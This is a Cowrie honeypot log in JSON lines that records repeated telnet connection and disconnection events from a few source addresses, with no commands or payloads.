{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":42308,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aceec6c79c4","protocol":"telnet","message":"New connection: 162.241.141.97:42308 (159.203.135.109:23) [session: 5aceec6c79c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.022524Z"}
{"eventid":"cowrie.session.closed","duration":30.968598127365112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.054258Z","src_ip":"192.119.108.58","session":"6affa80549cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.569390058517456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.113965Z","src_ip":"208.115.219.122","session":"7e73353cc8bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.371107578277588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.137532Z","src_ip":"192.119.108.58","session":"f5d2c773a857","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14646816253662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.195772Z","src_ip":"192.119.108.58","session":"4d06ba5a9b8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":43104,"dst_ip":"159.203.135.109","dst_port":23,"session":"c72ec9b168e4","protocol":"telnet","message":"New connection: 162.241.141.97:43104 (159.203.135.109:23) [session: c72ec9b168e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.243974Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":43226,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c03395d149a","protocol":"telnet","message":"New connection: 162.241.141.97:43226 (159.203.135.109:23) [session: 1c03395d149a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.284443Z"}
{"eventid":"cowrie.session.closed","duration":30.66330099105835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.309450Z","src_ip":"192.119.108.58","session":"dfd84bafdeec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":43568,"dst_ip":"159.203.135.109","dst_port":23,"session":"50cdb16c5747","protocol":"telnet","message":"New connection: 162.241.141.97:43568 (159.203.135.109:23) [session: 50cdb16c5747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.384892Z"}
{"eventid":"cowrie.session.closed","duration":30.70364785194397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.400729Z","src_ip":"162.241.141.97","session":"bef1fcf1bd07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552276134490967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.477246Z","src_ip":"192.119.108.58","session":"61081d74409a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":44022,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c46a4193743","protocol":"telnet","message":"New connection: 162.241.141.97:44022 (159.203.135.109:23) [session: 3c46a4193743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.518622Z"}
{"eventid":"cowrie.session.closed","duration":30.658576488494873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.553429Z","src_ip":"192.119.108.58","session":"b753df37853b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":44692,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f5b8b43cbc9","protocol":"telnet","message":"New connection: 162.241.141.97:44692 (159.203.135.109:23) [session: 1f5b8b43cbc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.705715Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":45050,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c5dcdc8ba04","protocol":"telnet","message":"New connection: 162.241.141.97:45050 (159.203.135.109:23) [session: 0c5dcdc8ba04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.816692Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":45060,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbbe8d9d8ff7","protocol":"telnet","message":"New connection: 162.241.141.97:45060 (159.203.135.109:23) [session: cbbe8d9d8ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.824628Z"}
{"eventid":"cowrie.session.closed","duration":30.489664793014526,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:15.086810Z","src_ip":"162.241.141.97","session":"9353d890b1ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":45598,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf1cf361ad5b","protocol":"telnet","message":"New connection: 162.241.141.97:45598 (159.203.135.109:23) [session: bf1cf361ad5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:15.093778Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":45666,"dst_ip":"159.203.135.109","dst_port":23,"session":"e086f29eb1a5","protocol":"telnet","message":"New connection: 162.241.141.97:45666 (159.203.135.109:23) [session: e086f29eb1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:15.101210Z"}
{"eventid":"cowrie.session.closed","duration":30.413790941238403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:15.114472Z","src_ip":"162.241.141.97","session":"a8bea1d59281","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":46294,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c2d6eacc2d6","protocol":"telnet","message":"New connection: 162.241.141.97:46294 (159.203.135.109:23) [session: 3c2d6eacc2d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:15.305658Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":43442,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e6827ab85d7","protocol":"telnet","message":"New connection: 162.241.141.97:43442 (159.203.135.109:23) [session: 6e6827ab85d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:15.344482Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":36580,"dst_ip":"159.203.135.109","dst_port":23,"session":"f782634c0e27","protocol":"telnet","message":"New connection: 192.119.108.58:36580 (159.203.135.109:23) [session: f782634c0e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:15.704705Z"}
{"eventid":"cowrie.session.closed","duration":30.766892671585083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:16.085325Z","src_ip":"208.115.200.90","session":"8816be3c1b5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39680,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4bf3edeb687","protocol":"telnet","message":"New connection: 208.115.200.90:39680 (10.17.0.5:23) [session: d4bf3edeb687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:16.157939Z"}
{"eventid":"cowrie.session.closed","duration":31.08890390396118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:16.549511Z","src_ip":"162.241.141.97","session":"37b70159a7b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.367241144180298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:17.055319Z","src_ip":"192.119.108.58","session":"d4b9ab781105","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.34208369255066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:17.132895Z","src_ip":"208.115.200.90","session":"fcc4f1914bd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.946911096572876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:17.292622Z","src_ip":"208.115.200.90","session":"ec54dad92c97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59647822380066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:17.380508Z","src_ip":"208.115.200.90","session":"63f11549b405","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38712,"dst_ip":"159.203.135.109","dst_port":23,"session":"24333b55558a","protocol":"telnet","message":"New connection: 192.119.108.58:38712 (159.203.135.109:23) [session: 24333b55558a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:17.857762Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38768,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed09120ce110","protocol":"telnet","message":"New connection: 192.119.108.58:38768 (159.203.135.109:23) [session: ed09120ce110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:17.927800Z"}
{"eventid":"cowrie.session.closed","duration":30.52132821083069,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:18.367819Z","src_ip":"208.115.200.90","session":"94be38c40a97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.596330165863037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:18.563263Z","src_ip":"192.119.108.58","session":"2352760176d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.658658266067505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:18.575458Z","src_ip":"192.119.108.58","session":"77b680ebde98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38848328590393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:19.200759Z","src_ip":"208.115.200.90","session":"5e8249cfa577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40928,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b8ae8582439","protocol":"telnet","message":"New connection: 192.119.108.58:40928 (159.203.135.109:23) [session: 2b8ae8582439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:20.023209Z"}
{"eventid":"cowrie.session.closed","duration":30.2371187210083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:20.170947Z","src_ip":"192.119.108.58","session":"44e2db936617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32860231399536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:20.233392Z","src_ip":"162.241.141.97","session":"f97a0dae739a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011184215545654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:20.238874Z","src_ip":"192.119.108.58","session":"b52bb2b3137a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.205323219299316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:20.275832Z","src_ip":"192.119.108.58","session":"b55c09285041","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62584662437439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:20.420430Z","src_ip":"192.119.108.58","session":"aabcbc4a966f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69704294204712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:20.638582Z","src_ip":"192.119.108.58","session":"50d6cd9c6b2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.528136491775513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:20.750522Z","src_ip":"192.119.108.58","session":"bd8380dd057c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":55244,"dst_ip":"159.203.135.109","dst_port":23,"session":"efa9070c0543","protocol":"telnet","message":"New connection: 162.241.141.97:55244 (159.203.135.109:23) [session: efa9070c0543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:20.941943Z"}
{"eventid":"cowrie.session.closed","duration":30.863944053649902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:21.150782Z","src_ip":"162.241.141.97","session":"0cb2354ae11e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":55918,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e857c3bc7ce","protocol":"telnet","message":"New connection: 162.241.141.97:55918 (159.203.135.109:23) [session: 5e857c3bc7ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:21.167448Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":55930,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae6335f404ad","protocol":"telnet","message":"New connection: 162.241.141.97:55930 (159.203.135.109:23) [session: ae6335f404ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:21.175909Z"}
{"eventid":"cowrie.session.closed","duration":31.228506565093994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:21.214313Z","src_ip":"192.119.108.58","session":"6668a308e14e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46920371055603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:21.282372Z","src_ip":"208.115.200.90","session":"f6ab1aaca488","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50193977355957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:21.301412Z","src_ip":"192.119.108.58","session":"896b8a581ab9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42368,"dst_ip":"159.203.135.109","dst_port":23,"session":"09975d266ab7","protocol":"telnet","message":"New connection: 192.119.108.58:42368 (159.203.135.109:23) [session: 09975d266ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:21.725211Z"}
{"eventid":"cowrie.session.closed","duration":30.80318260192871,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:22.149150Z","src_ip":"192.119.108.58","session":"944e3352b606","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.170610666275024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:22.428295Z","src_ip":"162.241.141.97","session":"f6ce96ec3cb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42226,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5643f745547","protocol":"telnet","message":"New connection: 192.119.108.58:42226 (159.203.135.109:23) [session: a5643f745547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:22.496008Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43076,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee2d5aaa72d5","protocol":"telnet","message":"New connection: 192.119.108.58:43076 (159.203.135.109:23) [session: ee2d5aaa72d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:22.673459Z"}
{"eventid":"cowrie.session.closed","duration":31.07856798171997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:23.071175Z","src_ip":"192.119.108.58","session":"b1eaede42fa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39692,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c75721d115f","protocol":"telnet","message":"New connection: 208.115.200.90:39692 (10.17.0.5:23) [session: 5c75721d115f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:23.558366Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39696,"dst_ip":"10.17.0.5","dst_port":23,"session":"c798597d5c47","protocol":"telnet","message":"New connection: 208.115.200.90:39696 (10.17.0.5:23) [session: c798597d5c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:24.219970Z"}
{"eventid":"cowrie.session.closed","duration":30.57412552833557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:24.237087Z","src_ip":"192.119.108.58","session":"0326d3ff7ae9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.432674646377563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:24.911321Z","src_ip":"208.115.200.90","session":"4ae04d473128","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44873309135437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.027853Z","src_ip":"192.119.108.58","session":"f67b4a2c31e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43118,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa9817e92cf","protocol":"telnet","message":"New connection: 208.115.200.90:43118 (10.17.0.5:23) [session: 4fa9817e92cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.092555Z"}
{"eventid":"cowrie.session.closed","duration":31.105355262756348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.098366Z","src_ip":"192.119.108.58","session":"9656829d8c93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76879358291626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.163549Z","src_ip":"192.119.108.58","session":"3da877215df3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897753477096558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.171003Z","src_ip":"192.119.108.58","session":"1d89b33d3dba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06270694732666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.175694Z","src_ip":"192.119.108.58","session":"0c1ff9e1e533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760016918182373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.180491Z","src_ip":"192.119.108.58","session":"4219d7e8da59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43132,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1c4cb28e3fb","protocol":"telnet","message":"New connection: 208.115.200.90:43132 (10.17.0.5:23) [session: c1c4cb28e3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.204499Z"}
{"eventid":"cowrie.session.closed","duration":30.703644514083862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.210488Z","src_ip":"192.119.108.58","session":"33b1cfe9c603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78006148338318,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.351242Z","src_ip":"208.115.200.90","session":"652c9235f95a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45530,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a6206aaa3fc","protocol":"telnet","message":"New connection: 192.119.108.58:45530 (159.203.135.109:23) [session: 5a6206aaa3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.480171Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43148,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d286f8ae610","protocol":"telnet","message":"New connection: 208.115.200.90:43148 (10.17.0.5:23) [session: 6d286f8ae610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.668381Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":34852,"dst_ip":"159.203.135.109","dst_port":23,"session":"df6188e18123","protocol":"telnet","message":"New connection: 162.241.141.97:34852 (159.203.135.109:23) [session: df6188e18123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:25.992040Z"}
{"eventid":"cowrie.session.closed","duration":30.259945154190063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:26.049758Z","src_ip":"192.119.108.58","session":"889c769f051d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72149920463562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:26.200095Z","src_ip":"208.115.200.90","session":"2c04a04850c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":36018,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fd17bf2528f","protocol":"telnet","message":"New connection: 162.241.141.97:36018 (159.203.135.109:23) [session: 6fd17bf2528f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:26.424805Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":36202,"dst_ip":"159.203.135.109","dst_port":23,"session":"f67218ae5b95","protocol":"telnet","message":"New connection: 162.241.141.97:36202 (159.203.135.109:23) [session: f67218ae5b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:26.495471Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":37328,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2455fb1d0d6","protocol":"telnet","message":"New connection: 162.241.141.97:37328 (159.203.135.109:23) [session: a2455fb1d0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:26.970301Z"}
{"eventid":"cowrie.session.closed","duration":30.368624687194824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:27.024999Z","src_ip":"192.119.108.58","session":"b9513274ce98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":37682,"dst_ip":"159.203.135.109","dst_port":23,"session":"c08dc92fa021","protocol":"telnet","message":"New connection: 162.241.141.97:37682 (159.203.135.109:23) [session: c08dc92fa021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:27.102115Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":38042,"dst_ip":"159.203.135.109","dst_port":23,"session":"054d92500c89","protocol":"telnet","message":"New connection: 162.241.141.97:38042 (159.203.135.109:23) [session: 054d92500c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:27.211222Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":38104,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3c1b9ad634c","protocol":"telnet","message":"New connection: 162.241.141.97:38104 (159.203.135.109:23) [session: c3c1b9ad634c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:27.234521Z"}
